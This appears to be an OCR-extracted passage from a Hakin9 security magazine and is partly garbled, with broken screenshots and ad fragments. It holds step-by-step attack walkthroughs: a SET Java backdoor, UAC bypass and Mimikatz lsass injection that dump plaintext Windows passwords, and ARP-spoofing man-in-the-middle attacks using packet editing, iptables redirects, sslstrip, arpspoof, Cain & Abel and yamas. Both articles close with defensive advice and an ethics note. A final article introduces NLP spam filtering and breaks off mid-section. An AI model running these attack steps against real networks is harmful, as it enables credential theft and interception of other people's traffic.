See my previous Hakin9 article "Security Testing with the Social Engineering Toolkit" (or this webpage [3]) to see how to setup and use SET.

First thing you will want to do is download Mimikatz [4] and place the files you need (Windows 32 or 64 bit) in a

∧ × × root@b	ot: /pente	est/exp	oloits/set		
File Edit View Ten	minal He	lp			
<pre>meterpreter > pwd C:\Windows\System meterpreter > cd meterpreter > cd meterpreter > cd meterpreter > cd meterpreter > cd [*] uploaded : meterpreter > upl [*] uploaded : meterpreter > upl [*] uploaded : meterpreter > \ls</pre>	32 \ir temp temp oad /roo /root/Do /root/Do /root/Do /root/D	it/Down winload winload it/Down winload	oloads/Win32/mimikatz.ex is/Win32/mimikatz.exe -> is/Win32/mimikatz.exe -> loads/Win32/sekurlss.et s/Win32/sekurlss.etl -> ds/Win32/sekurlss.etl ->	e . .\nimikatz.exe > .\sekurlsa.dll	
Listing: Crytenp					
Mode	Size	Туре	Last modified	Nane	1
40777/nxtnixtnix 40777/nixtnixtnix 100777/nixtnixtnix 100665/nv-nv-nv-	0 0 548848 229360	dir dir fil fil	2012-04-16 10:15:55 -0 1980-01-01 00:00:00 -0 2012-04-16 10:15:35 -0 2012-04-16 10:15:55 -0	400 . 500 . 400 mimikatz.exe 400 sekurlsa.dll	
meterpreter >					ų,

Figure 1. Copying Mimikatz files to remote system

directory on your Backtrack system. Then run SET and pick the website java attack option.

After the target system surfs to our SET webpage and allows the Java code to run, we get a remote shell. After we connect to the created session, we will need to elevate our authority level. We need System level privileges for Mimikatz to work properly, so the first thing to do is run the Bypass UAC script in Meterpreter, and then connect to the newly created session:

meterpreter >
meterpreter > run post/windows/escalate/bypassuac

At this point the script runs and creates a new session that has system level access. When the script is done running type "background" to exit the current sessions and then connect to the new session that was created using the sessions -i command. The new session will always be one number higher than the one that SET created with the Java attack. So if our SET session was number 2, bypassuac will create a new session at number 3:

```
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...
meterpreter >
```

meterpreter > shell

Now all we need to do is create a directory on the target system and copy the Mimikatz files up to it (see Figure 1).

Now we need to drop to a command shell, and run "Mimikatz".



Figure 2. Executing Mimikatz and injecting process

You will now be in the Mimikatz program console and need to enter the commands "privilege::debug" and then inject::process lsass.exe sekurlsa.dll (Figure 2).

If you get an error at this point (Yes I know, it is all in French), you probably don't have System level authority.

Okay, if all went well, you need to run one last command, @getLogonPasswords (Figure 3).

And that is it! The passwords for anyone who has logged onto this machine will be displayed in plain text. From the picture above you can see two users, "Fred" and "Secure_User". The passwords can be found next to the "wdigest" and "tspkg" headings.

```
Username: Fred
Password: password
```

Okay, not a complex (or smart) password, but look at the other user:

Username: Secure_User Password: CvM*901D0?#(Fg[``MNoP43!Ta\$cv2%

Wow, wouldn't want to have to type that one in every day. That is a 30 character password and Mimikatz recovered and displayed it in plain text with no need to decrypt or crack.

Recovering Passwords with WCE

Recovering passwords remotely with WCE is very similar, and a full tutorial on recovering them using SET can be found on the *Samclass.info* website [6] so I will not cover it in great detail.

Basically it is the same process; you create the website in SET, and use the Java attack. Once the target system allows the backdoored applet to run, a remote session is created. After you connect to the session in Meterpreter, you need to run the "Bypassuac" script, and connect to the newly created

∧ ∨ × Terminal	
File Edit View Terminal Help	
mimikatz # @getLogonPassword	fs)
Authentification Id	: 0:2072807
Package d'authentification	: NTLM
utilisateur principal	: Secure User
Domaine d'authentification	: WIN-LOANLOTDOLU
msv1_0 : lm{ a99edbfd6a7c_}	00000000000000000000000000000000000000
wdigest : CvH	901007#(Fg[*/NoP431Ta\$cv24
tspkg : CvH	901D07#(Fg[*MN0P431Ta\$cv2%
Authentification Id	: 0:2072783
Package d'authentification	: NTLH
Utilisateur principal	: Secure User
Domaine d'authentification	: WIN-LOANLOTDOLU
msv1_0 : lm{ w99edbfd6a7c }	00000000000000000000000000000000000000
wdigest : CvH	901D07#(Fg[*MNoP43!Ta\$cv2%
tspkg : CvH	901D0?#(Fg[*MNoP431Ta\$cv2%
Authentification Id	: 0;1697644
Package d'authentification	: NTLM
Itilisateur principal	: Fred
comaine d'authentification	: WIN-LOANLOTDQLU
msv1_0 : lm(dd830b7586c }	e52cac67419a9a224a3b108f3fa6cb6d }, ntlm{ 8846f7eaee8fb117ad06
wdigest : pass	aword
tspkg : pass	word

Figure 3. Clear Text Passwords



Figure 4. Clear Text Passwords from WCE

session that has System level access. Then run the WCE script and the passwords are displayed in plain text.

The main difference with the WCE program is that you don't copy it to the target system, but need to copy the files (a Ruby script and an executable) to two separate directories on your backtrack machine.

The "wce.rb" file needs to be copied into your "(metasploit path)/scripts/meterpreter" directory and the "wce-x64" (or "wce-x86" if your target is 32 bit) executable file needs to go into the "(metasploit path)/ data/post" directory.

Now, the thing I ran into when following the WCE tutorial is that I am running Backtrack 5r2 and the "Metasploit path" was different on my system. The directories listed did not exist on my machine. I had to copy the files into the following directories to make it work:

Wce.rb → /opt/metasploit/msf3/scripts/meterpreter
Wce-x86.exe → /opt/metasploit/msf3/data/post

Once that is done, you simple run the wce.rb program from the meterpreter prompt and the passwords are displayed for you (Figure 4):

Now, a couple things I noticed here. The username "Secure_User" is not being fully displayed in the image above (Figure 4) but the correct password is shown. Also, on this machine, the user "Fred" had no password at all, but WCE copied the password from "Secure_User" for some reason.

So clear text password recovery with WCE may not be perfect, but even so, the one long complex password used is displayed in plain text.

Organize 👻 🧻 Op	en 🕶 Print Burn	New folder)II •	- []]	.0
* Favorites	Name	Date modified	Туре	Size			
E Desktop	SecretRecipe	5/14/2012 4:54 PM	Text Document	1 KB			
Downloads							
Recent Places						- 9	0

Figure 5. Encrypted file as viewed by the Target User

meterpreter > ts				
Listing: C:\Secre				
Mode		Туре	Last modified	Name
40777/ FWX FWX FWX			2012-05-15 12:22:42 -0400	
40777/ FWX FWX FWX		dir	1980-01-01 00:00:00 -0500	
100666/ rw- rw- rw-	134		2012-05-14 16:54:01 -0400	SecretRecipe.txt
meterpreter > cat	Secre	tRecip	e.txt	
Super Secret Reci	pe ing	redien		

Figure 6. Un-encrypted file as viewed by the Attacker

Recovering Encrypted Data Files without Encryption

We have seen how passwords can be recovered by a remote attacker, but what about a file that is encrypted? Could it be recovered and viewed by a remote attacker in an unencrypted form?

In some cases yes, and it could also be easier than recovering user passwords. Let's see how this could be done.

I took a Windows system and encrypted the entire drive with a popular opensource drive encryption program. Once that was done, I created a directory on the hard drive called "Secret" and encrypted that folder with the operating system's built in encryption.

As you can see in Figure 5 the file "SecretRecipe" in the "Secret" folder does indeed show up as green, or encrypted. I also opened the text file up in Windows so we can see the contents:

Yuck! Road tar, pickles and hot sauce, what kind of recipe is this???

Okay, again using SET, once we have a remote session with the victim, all we need to do is surf to the secret directory on the target machine.

We can see there is a file called "SecretRecipe" in the "Secret" folder. It is a text file, let's see what happens if we try to view the file from the Backtrack machine (Figure 6).



Figure 6. Un-encrypted File transferred to Remote Attacker's System and Opened

References

- [1] http://computer-forensics.sans.org/blog/2012/02/29/protecting-privileged-domain-accounts-Im-hashes-the-good-the-bad-and-the-ugly/
- [2] http://pauldotcom.com/2012/02/dumping-cleartext-credentials.html
- [3] http://cyberarms.wordpress.com/2011/12/22/backtrack-5-penetration-testing-with-social-engineering-toolkit/
- [4] http://blog.gentilkiwi.com/mimikatz
- [5] http://samsclass.info/120/proj/p5x-wce.html
- [6] http://noscript.net/

Wow, it shows up in plain text! We did not do anything other than obtain a remote shell by tricking a user into running a backdoored Java script from our bogus website. Then all we did was connect to the session and browse the drive until we found the "Secret" directory and then viewed the file.

But can we copy this encrypted file off the remote machine and still view it on our attacking machine? Sure can, see Figure 7.

The file was downloaded to the attacker's desktop and was opened without any problem.

Okay, how was this possible? Encryption works very good when your machine is off and someone is trying to access it. Or if another user on the local machine or LAN is trying to read it. But since this online attack dropped the attacker into the current logged in user session, the attacker could read all of the encrypted information. The encryption system could not tell that the attacker was a remote attacker, but thought it was the local user.

Conclusion

As you can see, it is possible to recover passwords remotely from Windows systems in plain text. Also, the length or complexity in this case really does not matter. It was also shown that in some cases, drive and file encryption can be bypassed in a remote attack.

The moral of this story is to not allow scripts or programs to run from websites that you do not know or trust. Run a browser script blocking program like NoScript [6]. NoScript blocks any scripts from running on webpages that you visit. And it allows you to run scripts on the Websites that you trust and use regularly.

With phishing and targeted attacks on the rise, the user is really the weakest security link in your network. It is trivial to create a remote access shell that will bypass most anti-virus programs and firewalls. Therefore, it is imperative to instruct your users to avoid clicking on links or opening attachments in unsolicited mail.

Many online attacks can be foiled if your users are not running a privileged account. It is a good security practice to restrict users that have Administrator level accounts and drop them down to User level accounts for regular everyday usage. The BypassUAC script that we ran in the attack above to get System level access only works in Windows 7 if the target machine is running at an Administrator level. The key then is to have all of your Windows 7 users run at User level. Forcing your clients to run User level accounts stops a lot of remote attacks in their tracks.

Always allow Windows *User Access Control* (UAC) to run in Windows 7, even if it is at the lowest setting. Though UAC seemed to be more of a nuisance in Windows XP and many turned it off, UAC plays a larger security role in Windows 7 and should be left on.

Keep your system and software patches up to date, use a firewall, intrusion detection systems and have an updated anti-virus installed.

On the network side, set egress rules, restricting the content that can leave your company. And monitor your network for suspicious traffic.

Use different passwords for each system that you log into. This includes online services. If one of your passwords is compromised, this tactic will greatly reduce the damage that can be done by an attacker.

Surfing safely is really the key to avoiding a lot of these issues. Stay away from websites that provide questionable material, and use well known sites for viewing videos and online shopping. If something does not feel right, don't do it, and as always if it seems too good to be true, it most likely is.

DANIEL DIETERLE

Daniel Dieterle has 20 years of IT experience and has provided various levels of IT support to numerous companies from small businesses to large corporations across upstate New York and Northern Pennsylvania. He enjoys computer security topics, is the author of the CyberArms Computer Security Blog (cyberarms.wordpress.com), is a guest author on a top infosec website, and was a technical editor for a recently released penetration testing book based on Backtrack 5.

Dangers of

Man in the middle attacks to modern life

In modern times, we have been exposed through the use of any of the computers, smart phones or any device which are all connected in a consolidates network. When we term the word network, it means that we can communicate with the other party by sending information through the cables or even in the air.

M an in the middle attacks allow those of evil intent to gather information without the knowledge of either communicating party. If done properly, there is little to no sign of the attack, and because of that fact, additional weaknesses are exposed (think recovered usernames and passwords).

But of course, in order to have those communications to be transmitted over the network between different equipment there must be a standard or a certain framework. The model was known as *Open Systems Interconnection* (OSI) model is a reference model developed by ISO (International Organization for Standardization) in 1984.

The Open Systems Interconnection (OSI) model involves a communication process which have been divided into 7 layers, which divides the tasks involved with moving information between networked computers into seven smaller, more manageable task groups.

In nut shell, the Layers 7 through 4 deal with end to end communications between data source and

destinations. Layers 3 to 1 deal with communications between network devices.

Explanation of 7 layer OSI in-short

Layer 1: Physical layer

Physical layer defines the cable or physical medium itself.

Layer 2: Data link

LinkData Link layer defines the format of data on the network. A network data frame, aka packet, includes checksum, source and destination address, and data such as MAC.

Layer 3: Network

IP is responsible for routing, directing datagrams from one network to another.

Layer 4: Transport

Transmission Control Protocol (TCP) and User Datagram Protocol (UDP), sits at the transport layer.



Figure 1. Registry location to show the mac address pool

Layer 5: Session

The session protocol defines the format of the data sent over the connections and have a mechanism for opening, closing and managing a session between enduser application processes.

Layer 6: Presentation

The canonical uses a standard byte ordering and structure packing convention, independent of the host delivery and formatting of information to the application layer for further processing or display.

Layer 7: Application

Application running on server such as http, email and etc.

Why should we care?

In the beginning of this document we have discussed espionage and now we talk about the 7 layer OSI framework, so what does it have to do with risk?. From my point of view, they will be another layer which is layer 8 which it is reflected back to the end users. Layer 8 doesn't exist in any OSI layer, but in my opinion it should be part of it. Without any user interaction on some cases, how should we expect the data to be transmitted?

Humans always become the bottleneck in the security arena, as because humans do make mistakes and this is where the problem is. Let me give you an example, if you are working in corporate organization, I am pretty sure you are well protected in a very secure network environment. But do you think that would be chances for these users to use his or her laptop to access internet in other public network such as in airport, internet café and etc?. Although the likelihood is low, but do you think it would have chances to happen?

What is Mac address?

Short for Address Resolution Protocol, a network layer protocol use to convert an IP address into a physical address which will have the format of MM:MM:MM:SS: SS:SS. The address is unique to each network device. It has 12 digit of hexadecimal numbers and is 48 bits in length. The first half of the address represents the adapter manufacture. As for the example 00:A0:C9:11: 22:33, the first prefix which is 00:A0:C9 it indicates the manufacture is from Intel Corporation.

What have bring my interest in this area would be the security issue when you are running on a flat lan environment. I will explain detail on this article. Let get started by how Microsoft assign the pool when the Hyper-V is installed. The MAC address is divided into 2 part, the first part would be as highlight in color which I have explain earlier. You can have a look into detail as in Figure 1.



In his business experi

- tent has always been as a shareholder and top executive, b
- mpany based on the vision of oth
- who he believed knew what i
- doing, and whose dream has

Security develo

Haring

Join our **Exclusive and Pro club** and get: HEHINS Hakin9 one year subscription Hahing Full page advertisement in **Hakin9 every month!** Hahina Information about your company send to over 100.000 Hakin9 readers!

> More information at en@hakin9.org



Figure 2. Running wireshark

<u>a</u> 0				
<u>File Edit View Go</u>	<u>C</u> apture	<u>A</u> nalyze	Statistics	Help
en 24 ga on.	🖳 Interf	aces		
	🕌 Optio	ns	Ctrl+K	
Filter:	Start			
	🔐 Stop Ctrl+E		Ctrl+E	
	🙀 Restart			
	🥁 Captu	ire <u>F</u> ilters		

Figure 3. Configure interface

20	Wireshark: Capture O	ptions 🔤 🕅
Capture Interface: eth0		
IP address: 192.168.	18.139, fe80::20c:29ff.fef1:efdb	
Link-layer header typ	e: Ethernet 😂	
Capture packets in	n promiscuous mode	
Limit each packet	to 68 🐺 bytes	
Capture Filter:	ether proto 0x0806	•
Capture File(s)		Display Options
File:	Browse	✓ Update list of packets in real time
Use multiple files		Automatic scrolling in live capture
Next file every	1 megabyte(s) 🗘	E Bereining in the capture
Next file every	1 👘 minute(s) 🗍	Jide capture info dialog
Ring buffer with	2 Tiles	Name Resolution
Stop capture after	r 1 👘 file(s)	Enable MAC name resolution
Stop Capture	12	
after 1	packet(s)	Enable getwork name resolution
after 1	megabyte(s) 🗘	
🗌 after 🛛 1	minute(s)	Enable transport name resolution
Help		& Cancel

Figure 4. Capture packet in promiscuous mode

00:15:5D:1A:2B:00

The blue portion is Microsoft OEM, but have you ever think where the red portion coming from? Let me explain to you, let said your IP address of the Hyper-V is 10.208.26.43, the second IP number which it is 26.43 you will need to convert from dec to Hex which you will get 1A:2B.

So each time when you deploy the Hyper-V host the MAC address won't be duplicated. So you will the range of MAC address pool will have something like as below. FF when you convert it from HEX to DEC you will get 255. 00:15:5D:1A:2B:00 to 00:15:5D: 1A:2B:FF.

Where the risk, I don't get it?

This is where the challenge come in to the picture, now as the perpetrator is getting more intelligent every day by using the free tools available on the Internet, they can launch a Man in the Middle attack which is also known as MITM. What it really does, it impersonate someone in the network and become a middle man of transmitting information from source to the destination. By using this way, it also can become a denial of service. I will explain in more detail as we go along on the technical on how to.

Principle of ARP Spoofing

To summarize, arp spoofing can be termed as man in the middle attack or a DDOS attack as it will send a not existence MAC in the network. The diagram below will give you some idea of it.

To give you more an understanding of what makes up a packet, I decided to capture the info on my lab and it consists of different steps and stages.

Man In The Middle by the hard way Stage 1: Collecting Packet information

- The tools we use on this lab is wireshark, you can download the tools from the following *Wireshark Download Page*.
- After you have perform the installation run the wireshark tools as in Figure 2.
- Configure the interface for capturing packet as on Figure 3.
- As per on screen, you will need to check on Capture packet in promiscuous mode which means in the sniffing mode
- After you have completed all the setting, click the start button and you will see some of the packets have been captured.
- You should be getting some packet as below, this would be our interest for our next step as in Figure 5.

Stage 2: Analysis of the packet

- This is the sample of the right content of the files.
- Export the selected packet to /tmp/script/arp
- Edit the files by typing this command (hexedit -b / tmp/script/arp) (Listing 1)

Stage 3: Modify Packet

- · Start by modifying the victim packet
- hexedit –b arp-victim

			1	
1 0.000000 0	00:0c:29:fl:ef:db	00:50:56: f4:78:89	ADD	Who has 192 168 18 27 Tell 192 168 18 139
2 0.000082 0	00: 50: 56: f4: 78: 89	00:0c:29:f1:ef:db	ARP	192.168.18.2 is at 00:50:56:f4:78:89

Figure 5. Result of info collection

- replace hacker mac address with vitcim mac address
- replace gateway mac address with hacker mac address (Listing 2 and Listing 3)
- Save the files as arp-victim and sent the files to the victim
- file2cable -v -i eth0 -f arp-victim

Summary on what have been modified

Before packet been modified

Hacker Mac	Gateway Mac	Х
х	Gateway Mac	Gateway IP address
Hacker Mac	Hacker IP	x

After packet been modified

Victim Mac	Hacker Mac	x
x	Hacker Mac	Gateway Ip address
Victim Mac	Victim Ip address	x

Stage 4: Modify Gateway packet

Listing 1. Information from wireshark

- Cp arp-victim arp-gateway
- Hexedit –b arp-gateway (Listing 4 and Listing 5)

Stage 5: Enable IP forwarding

- As explained earlier, if we don't have this step then the attack will become a denial of service. But of course you don't want those to happen, because your intention is to collect information.
- What you need to do next is to Enable IP forwarding on the Backtrack machine. In layman terms, it mean enable routing function on the machines so that the packet can be transmitted.

Echo 1 > /proc/sys/net/ipv4/ip_forward Nano doarp.sh Chmod 700 doarp.sh #!/bin/bash While [1];do File2cable -I eth0 -f arp-victim File2cable -I eth0 -f arp-gateway Sleep 2 Done

Summary on what have been modifed Before packet been modified

Info	Remark
Destination	00 50 56 F4 78 89 (GW) @192.168.18.2
Target Ip add	CO A8 12 02 (GW) @ 192.168.18.2
Source	00 OC 29 F1 EF DB (Hacker) @ 192.168.18.139
Sender IP	CO A8 12 8B (Hacker) @ 192.168.18.139
Victim	00 OC 29 13 80 DD @ 192.168.18.130
Victim IP	CO A8 12 82 (GW) @ 192.168.18.130

 00000000
 00
 0C
 29
 F1
 EF
 DB
 00
 56
 F4
 78
 89
 08
 06
 00
 1
PV.x....

 00000010
 08
 00
 06
 04
 00
 02
 00
 56
 F4
 78
 89
 C0
 A8
 12
 02
PV.x....

 00000020
 00
 0C
 29
 F1
 EF
 DB
 C0
 A8
 12
 02
PV.x....

 00000030
 00
 00
 00
 00
 00
 00
 00
 00
 00

Listing 2. Before changing the packet

 00000000
 00
 0C
 29
 F1
 EF
 DB
 00
 56
 F4
 78
 89
 08
 06
 00
 1
PV.x....

 00000010
 08
 00
 06
 04
 00
 02
 00
 56
 F4
 78
 89
 C0
 A8
 12
 02
PV.x....

 00000020
 00
 0C
 29
 F1
 EF
 DB
 C0
 A8
 12
 02
 00
 00

 00000030
 00
 00
 00
 00
 00
 00
 00
 00
 00

Listing 3. After Changing the packet

Victim Mac	Hacker Mac	x
x	Hacker Mac	Gateway Ip address
Victim Mac	Victim IP	x
After the packet been modified:		
Gateway Mac	Hacker Mac	x
x	Hacker Mac	Victim Ip address
Gateway Mac	Gateway IP	x

Stage 6: Wait & monitor

This would be the last step, all you need to do is to monitor your wireshark and see for any potential login IDs with password. Be warned however, if the users are using any encrypted channels, you won't be able to see the content.

Man In The Middle new trend

After you have started looking at the hard way of the MITM, do you think you will use it?. The effort to do it is quite high and mistakes could happen. The chances of success might be low. The reality is, this is how people did it a long time ago. Today practically no one will do the hard way, but it is good to understand in depth how arp spoofing really works. The easy way that I will be mentioning here has 2 types, one on windows environments and another will be on linux environments.

Building a MITM attacker machine on Windows

I think most of all the users are on windows, and they are more comfortable to use windows as the machines to perform an attack. To built such a machine there are certain things that you must know. The first is don't ever install any antivirus in your machine, as the antivirus will detect and remove the necessary files. 2nd don't ever use that machine to surf internet to avoid any potential viruses on the machine. Since we are just focusing on the man in the middle attack, the favorite tool that will be used is Cain & Able. If you have ever read the bible, you will notice the names are from the 2nd son of Adam & Eve. Good news, I am not asking you to read the bible, but I am going to explain about the tool.

The tool has been developed in the hope that it will be useful for network administrators, teachers, security consultants/professionals, forensic staff, security software vendors, professional penetration tester and everyone else that plans to use it for ethical reasons. But most of the time, the tools have been use for crime.

The tools can do a lot of damage which include the following:

- · WEP cracking
- Speeding up packet capture speed by wireless packet injection
- Ability to record VoIP conversations
- Decoding scrambled passwords
- Calculating hashes
- Traceroute
- Revealing password boxes
- · Uncovering cached passwords
- · Dumping protected storage passwords
- ARP spoofing
- IP to MAC Address resolver
- Network Password Sniffer

Let's get started

As per on the Figure 6, this is how the cain and able look like, the GUI is user friendly and you can have all the information required in just of a few clicks.

The first thing you must do is to identify your ip address by typing ipconfig /all in your command prompt.

The next steps is to click on the icon to activate Cain & Abel, click ARP, start sniffing, sniffing tab, scan the MAC addresses on the entire network.

Listing 5. After Changing the packet

Listing 4. Before Changing the packet

Wait until the sniffing process is complete and then click ARP tab on the bottom. Click the "+" sign to add it to the new window that will pop up consisting of two columns.

Now is the time to hack

Click IP server in the left column and click the IP address of the victim on the right, do it repeatedly against all targets. But in most cases, we will target all as we don't know which machine belongs to whom. Remember don't run this on your production environment as it could do a lot of damage.

In the background, the tools will start to run a poisoning attack on the victim IP address. If during that time the users are surfing Internet and logging in you would be able to see it on the password tab.

I am not against these tools, but however if the users is visiting some https website, the users will get a prompt whether they want to continue on the website. Chances of the users clicking on continue on the website is high, but then again, I believe we could do better. The tool also generate a certificate on behalf of the real origin website, but why will the users still get a prompt?. This is because the certificate have a different thumbprint information. If in your corporate organization, if you are using some sort of proxy with certificate and if you have trusted the proxy certificate, that have shown your user ID have been capture. So take notes on this too.

Building a MITM attacker machine on linux

The approach of doing it will be almost the same as for Windows, but of course in linux you can expect more text than GUI. There are two approaches we can do here, the first approach will be semi auto and the second approach will be fully automatic.

When using the first approach you still need to have some manual work such as configuring the machine to route the traffic, some firewall rules and reading the

File View Configure Tool	s Help • @/ @ 🗣 🍨 💯 🚾 🚾 🚍 🚭 🧐 Ø 👂 🏦
Cached Passwords Protected Storage Cached Passwords Wireless Passwords Cached Pa	Press the + button on the toolbar to dump the Protected Storage
http://www.oxid.it	

Figure 6. Cain & Able

logs. I will explain why this is not a good approach as we go into detail. To enable the routing function we must change some value in the /proc as below:

echo 1 > /proc/sys/net/ipv4/ip forward

Next step is to configure all incoming request to be diverted, you can use any destination port that you would like to use

iptables -t nat -A PREROUTING -p TCP -- destinationport 80 -j REDIRECT -to-port 12345

Now this is where the real work starts, you will need to use the terminal and cd to /pentest/web/sslstrip as we need to run some python scripts from there.

To view all the available option in the command you can type the following command.

Python ssltrip.ph --help

Options:

-w Specify file to log on

- -p log only SSL port
- -S log all ssl and http traffic to and from server
- -I port to listen on
- -f substitute a lock favicon
- -k kill session in progress
- -h print help message

To start the command, you would need to run the command as below:

python sslstrip.py -l 12345

Now we need to start the MITM process, if you did see the process is getting simpler and easy. From the manual way of changing the value till we have a command that does the spoofing for us.

arpspoof -i eth0 -t Victim_IP Gateway_IP

Once the client start to surf internet, all the logs will be capture in *sslstrip.log*. You can view the real time changes by using the tail command as shown in below:

tail -f sslstrip.log

In reality, this will work in a smaller environment, as if there is too much user is visiting the website, you might want to use other command such as grep or print command to capture the info that you would like to see.

What would be the next evolution for it?

As you have read on the different steps, did you notice that the tools are getting more intelligent as the goes on. The steps that I showed above are fully automated thanks to the developer who create this tool. Then again, from the security stand point, if you can't differentiate what is real and fake cybercrime would be expected to increase.

The tool is known as yamas which is available as download from comax.fr/yamas.php. Yamas is a tool that aims at facilitating man in the middle attacks by automating the whole process from setting up ip forwarding and modifying iptables, to the ARP cache poisoning (either using ettercap or arpspoof). The traffic is stripped off ssl with the famous sslstrip 0.9.

What you need to do it is just run the command yamas and wait for the result. When you first run the command, it will ask where should the traffic should be diverted to which shown as below. Select the default and press enter.

what port should the traffic be redirect to? (Default = 8080)

The second screen you will see is to enter the gateway IP, by default it will automatic detect the range for you. Press enter to proceed.

```
Enter Ip gateway address or press enter to use x.x.x.x
```

After that you will be prompt to select the interface. Press enter to use the default value.

what interface would you like to use . It should match IP gateway as shown above

By default we will target the entire network, so will just press enter.

We will target the whole network as default, press 0 for manual

At this point, just wait and all the credentials will be populated on your screen?.

Prevention

As you have read through all of the steps, it might be look difficult to protect against layer 2 attacks. But some vendors and their products do provide protection against the attack such as Cisco, which they name it as dynamic ARP. On the plus side, you must be aware that not all locations can afford to have prevention devices in place; such as public networks. This is why security awareness should be in place to guide the user what they are allowed to do when they are on the public network. There are no such thing as patches for humans, they need to be educated.

Note on ethics

Our intention, when we started writing these articles was to give an overview what tools exists on the market and how we can use it to secure our organization against any unidentified threats. When you start to use the tools above, please do make sure you have this with you:

- Don't use this for any malicious intention
- Don't attack any organization without any approval from the top management.
- Think of the damage that you might cause

Conclusion

In this article, we have presented information on how to perform a man in the middle attack on Linux as well as on Windows machines. We have shown the trick of hiding in the network while we are performing intelligent information gathering. The author also shows you a common attack and how fast these attacks could obtain information in a stealthy way. As you can see, the growing use of the tools can help anyone be a security pen tester, while if it is been used in a wrong hands it could bring more damage than good. Such attacks are much easier to perform and more likely to succeed. The author sincerely hopes that these short articles can increase the awareness to anyone who is handling computer or security services. In the broader sense however, we hope that the information could help you to increase the security your organization assets in better manner.

WONG CHON KIT

Wong Chon Kit is the security practitioner in Malaysia. He spend a lot of time in researching on security related issues and share with. On his free time, he mostly spend his time on playing his classical guitar. He has considerable experience in the IT industry in the arena of security with a cross platform knowledge in different type operating system. Hold academic major in Electrical & electronics as well as professional qualification - MCP, MCSA (2000), MCSE (2000,2003), MCTS, MCTIP Enterprise Administrator, Microsoft Certified Trainer, Redhat Certified Technician (RHCT), VMware Certified Professional(VCP), Certified Ethical Hacker (CEH), Certified Security Analyst (ECSA) Certified Hacking Forensic Investigator (CHFI) & Certified Information System Security Professional (CISSP). If you would like to have discussion, the author more than happy to hear your feedback and comment. Email: wongchonkit@gmail.com

Blog: www.wongchonkit.com

Facebook Group: www.facebook.com/BuildSecur1ty Twitter: twitter.com/WongChonKit

- > Learn to follow the trail of digital evidence in UAT's cyber security lab funded by the Department of Defense.
- > Support corporate, law enforcement and legal communities in the investigation and analysis of digital data.
- > Evaluate, select, deploy and assess computer forensics measures to respond to and alleviate a security incident to prevent loss or corruption of sensitive information.

TechnologyFORENSICS

Join the new breed of detectives.

Program accreditations, affiliations and certifications



1010



0101010010101010

101 0 101

010101

01101

10111111

01010101010





L CLUSTERGEEK WITH CAUTION



TAKE YOUR SLEUTHING TO THE NEXT LEVEL WITH A Degree in technology forensics www.uat.edu/techforensics

DEFENSE PATTERN

E-mail Spam Filtering

and Natural Language Processing

E-mail spam has been a problem for end users and service providers for a long time. In years 2007-2011, about 79-85 percent of e-mails have been reported as spam. Although many commercial products allow users to write a set of rules for spam filtering, this manual process can be time-consuming and error-prone since the nature of spam changes over time.

Recently, in the field of natural language processing (NLP), a lot of work has been done for e-mail classification by using rule-based or statistical models. NLP is an interdisciplinary field that aims to automatically analyze, understand and generate human (natural) languages. This article is a brief introduction of how to apply NLP techniques to spam filtering.

Introduction

The volume of spam has grown significantly since 1978 when Gary Thuerk sent out the first unsolicited commercial e-mail. A recent report from Kaspersky Lab [1] showed that about 79-85 percent of e-mails turned out to be spam in 2007-2011. Spam results in the abuse of the Internet, storage space and computational power. It also causes problems such as distraction for end users. How can we get rid of spam? Many of us have the experience of creating a blacklist or writing a set of rules for spam filtering. However, this can be timeconsuming and error-prone since the nature of spam changes over time.

Recently, in the field of natural language processing (NLP) – an interdisciplinary field that uses computational methods to process and understand human languages – there has been a lot of work on e-mail classification, where an e-mail classifier can observe millions of features (e.g. word occurrences) and how often those features are associated with spam. If many users have reported the e-mails containing a particular word (e.g. "FREE") as spam, the classifier will start to predict future e-mails as spam when it sees that word.

In this article, we will introduce the use of various NLP techniques for spam filtering. In the next section

we present a list of features that are commonly used in e-mail classification. We then introduce three wellknown models/classifiers, namely RIPPER, Naïve Bayes Classifier, and Support Vector Machines, along with their performance on different e-mail corpora. In the end we discuss the issue of personalized spam filtering, where a filter/classifier trained in the public domain needs to be adapted to individual users' inbox for optimal performance.

Feature extraction

An e-mail can be represented as a vector of numerical features such as:

Binary features

Boolean expression that indicates whether a word appears in the text or not.

Term frequency (TF)

The number of occurrences of a particular term in a particular document.

Term frequency

Inverse document frequency (TF-IDF). IDF is a measure of whether a term is common or rare in a set of documents (e.g. in an e-mail corpus). The IDF of term t in documents D is defined as:

$$IDF(t,D) = \log \frac{|D|}{|\{d \in D : t \in d\}|}$$

where

|D| is the total number of documents, and

 $|\{d \in D : t \in d\}|$ is the number of documents that contain term t.

TF-IDF is then defined as:

TFIDF(t,d,D) = TF(t,d) * IDF(t,D)

which shows the importance of a specific term to a specific document in the corpus. Particularly, TF-IDF tends to filter out common terms.

Domain-specific features. (i) Phrases (e.g. "only \$" as in "only \$10"), (ii) overemphasized punctuations (e.g. !!!), (iii) "From" addresses (e.g. .com vs. .edu), etc.

Lemmatization & part-of-speech tagging

In many languages, words tend to appear in different inflected forms. For instance, in English, the verb "sell" may appear as "sell", "sells", "selling", and "sold". The base form, "sell", that you would look up in a dictionary, is called the lemma of the word. Lemmatization (a subfield of NLP) is the process of grouping together different inflected forms of a word so that they can be identified as a single item. This is useful for reducing the number of features and the sparseness of data for text classification. Sometimes the base form may depend on the part of speech of the word. For example, the word "reading" can be the base form of a noun (as in "Get your reading", which is likely to be a spam) or the ing form of a verb (as in "I was reading news"). In this case, a part-of-speech tagger (a subfield of NLP) should be used for better performance of lemmatization and spam filtering.

Learning rules

The most well-known rule-learning algorithm for email classification is RIPPER – Repeated Incremental Pruning to Produce Error Reduction [2]. RIPPER is an extension of the IREP (Incremental Reduced Error Pruning) algorithm which iteratively learns rules (i.e. combinations of features) in a greedy fashion, one rule

Algorithm 1 IREP

```
Require: positive examples P, negative examples N
begin
  Rule set := Ø
  while (P \neq \emptyset) do
    split P into P_grow and P_prune
    split N into N grow and N prune
    Rule := Grow(P grow, N grow) // grow a new rule
   Rule := Prune(P prune, N prune) // prune the new rule
   if the error rate of Rule on (P prune, N prune) > 50% then
      return Rule_set
    else
      add Rule into Rule set
      remove examples covered by Rule from P and N
    endif
  endwhile
  return Rule set
end
```

at a time (see Algorithm 1). First, the examples are divided into two sets: the growing set and the pruning set. Next, a rule is created by continuously adding the feature that maximizes FOIL's information gain [7] until the rule covers no negative examples in the growing set. The newly created rule is then pruned by iteratively deleting the feature that maximizes

$$v \equiv \frac{p + (N - n)}{P + N}$$

